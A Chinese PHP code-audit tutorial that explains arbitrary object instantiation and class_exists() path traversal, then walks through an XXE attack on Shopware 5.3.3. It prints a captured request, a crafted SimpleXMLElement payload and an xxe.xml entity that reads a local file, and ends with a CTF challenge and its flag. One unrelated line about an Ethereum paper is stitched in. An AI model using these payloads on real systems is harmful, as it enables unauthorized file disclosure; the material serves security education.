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代码审计Day3 — 实例化任意对象漏洞

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本文转载自先知社区：https://xz.aliyun.com/t/2459

本文由红日安全成员： 七月火 编写，如有不当，还望斧正。

前言

大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 PHP-Audit-Labs 。现在大家所看到的系列文章，属于项目 第一阶段 的内容，本阶段的内容题目均来自 PHP SECURITY CALENDAR 2017 。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 第3篇代码审计文章：

Day 3 - Snow Flake

题目叫做雪花，代码如下：

1 (1).png

漏洞解析 ：

这段代码中存在两个安全漏洞。第一个是文件包含漏洞，上图第8行中使用了 class_exists() 函数来判断用户传过来的控制器是否存在，默认情况下，如果程序存在 __autoload 函数，那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数，这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件，当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。例如类名为： ../../../../etc/passwd 的查找，将查看passwd文件内容，我们来看一下PHP手册对 class_exists() 函数的定义：

class_exists ：(PHP 4, PHP 5, PHP 7)

功能 ：检查类是否已定义

定义 ： bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 为类的名字，在匹配的时候不区分大小写。默认情况下 $autoload 为 true ，当 $autoload 为 true 时，会自动加载本程序中的 __autoload 函数；当 $autoload 为 false 时，则不调用 __autoload 函数。


我们再来说说第二个漏洞。在上图第9行中，我们发现实例化类的类名和传入类的参数均在用户的控制之下。攻击者可以通过该漏洞，调用PHP代码库的任意构造函数。即使代码本身不包含易受攻击的构造函数，我们也可以使用PHP的内置类 SimpleXMLElement 来进行 XXE 攻击，进而读取目标文件的内容，甚至命令执行（前提是安装了PHP拓展插件expect），我们来看一下PHP手册对 SimpleXMLElement 类的定义：

SimpleXMLElement ：(PHP 5, PHP 7)

功能 ：用来表示XML文档中的元素，为PHP的内置类。


关于 SimpleXMLElement 导致的XXE攻击，下面再给出一个demo案例，方便大家理解：

2.png


实例分析

本次实例分析，我们选取的是 Shopware 5.3.3 版本，对 SimpleXMLElement 类导致的 XXE漏洞 进行分析，而 class_exists() 函数，我们将会在本次给出的CTF题目中深入讨论。我们来看一下本次漏洞的文件，在 engine\Shopware\Controllers\Backend\ProductStream.php 文件中有一个 loadPreviewAction 方法，其作用是用来预览产品流的详细信息，具体代码如下：

3.png


该方法接收从用户传来的参数 sort ，然后传入 Repository 类的 unserialize 方法（如上图第11-14行代码），我们跟进Repository类，查看 unserialize 方法的实现。该方法我们可以在 engine\Shopware\Components\ProductStream\Repository.php 文件中找到，代码如下：

4.png


可以看到 Repository 类的 unserialize 方法，调用的是 LogawareReflectionHelper 类的 unserialize 方法（如上图第5行代码），该方法我们可以在 engine\Shopware\Components\LogawareReflectionHelper.php 文件中找到，具体代码如下：

5.png


这里的 $serialized 就是我们刚刚传入的 sort （上图第3行），程序分别从 sort 中提取出值赋给 $className 和 $arguments 变量，然后这两个变量被传入 ReflectionHelper 类的 createInstanceFromNamedArguments 方法。该方法位于 engine\Shopware\Components\ReflectionHelper.php 文件，具体代码如下：

6.png


这里我们关注 第6行 代码，这里创建了一个反射类，而类的名称就是从 $sort 变量来的，可被用户控制利用。继续往下看，在代码第28行处用 $newParams 作为参数，创建一个新的实例对象。而这里的 $newParams 是从 $arguments[$paramName] 中取值的， $arguments 又是我们可以控制的，因为也是从 $sort 变量来，所以我们可以通过这里来实例化一个 SimpleXMLElement 类对象，形成一个XXE漏洞。下面，我们来看看具体如何利用这个漏洞。


漏洞利用

首先，我们需要登录后台，找到调用 loadPreviewAction 接口的位置，发现其调用位置如下：

7.png

当我们点击 Refresh preview 按钮时，就会调用 loadPreviewAction 方法，用BurpSuite抓到包如下：

书第十页底部（ https://ethereum.github.io/yellowpaper/paper.pdf ）

GET /shopware520/backend/ProductStream/loadPreview?_dc=1530963660916&sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}&conditions={}&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=2 HTTP/1.1
Host: localhost
X-CSRF-Token: IKiwilE7pecuIUmEAJigyg6fVXY6vR
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://localhost/shopware520/backend/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SHOPWAREBACKEND=78ghtddjn8n8efpv1cudj6eao0; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; goods[cart]=180615151154565652; XDEBUG_SESSION=PHPSTORM
Connection: close


我们可以看到sort值为 {"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}} ,于是我们按照其格式构造payload： {"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}} ，关于payload的含义，可以看看 SimpleXMLElement 类的 __construct 函数定义，具体点 这里

final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )


笔者所用的xxe.xml内容如下：

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [ 
     <!ENTITY xxe SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&xxe;</x>


我们发送payload，并用xdebug调试程序，最后程序将我们读取的值存储在 $conditions 变量中，如下图所示：

8.png


修复建议

关于PHP中XXE漏洞的修复，我们可以过滤关键词，如： ENTITY 、 SYSTEM 等，另外，我们还可以通过禁止加载XML实体对象的方式，来防止XXE漏洞（如下图第2行代码），具体代码如下：


9.png


结语

看完了上述分析，不知道大家是否对 XXE攻击 有了更加深入的理解，文中用到的CMS可以从 这里 下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 [email protected] 联系我们。Day3 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：

// index.php
<?php
class NotFound{
    function __construct()
        {
                die('404');
       }
}
spl_autoload_register(
	function ($class){
		new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
        $newclass = new $classname($param,$param2);
        var_dump($newclass);
    foreach ($newclass as $key=>$value)
}

// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

题解我们会阶段性放出，如果大家有什么好的解法，可以在文章底下留言，祝大家玩的愉快！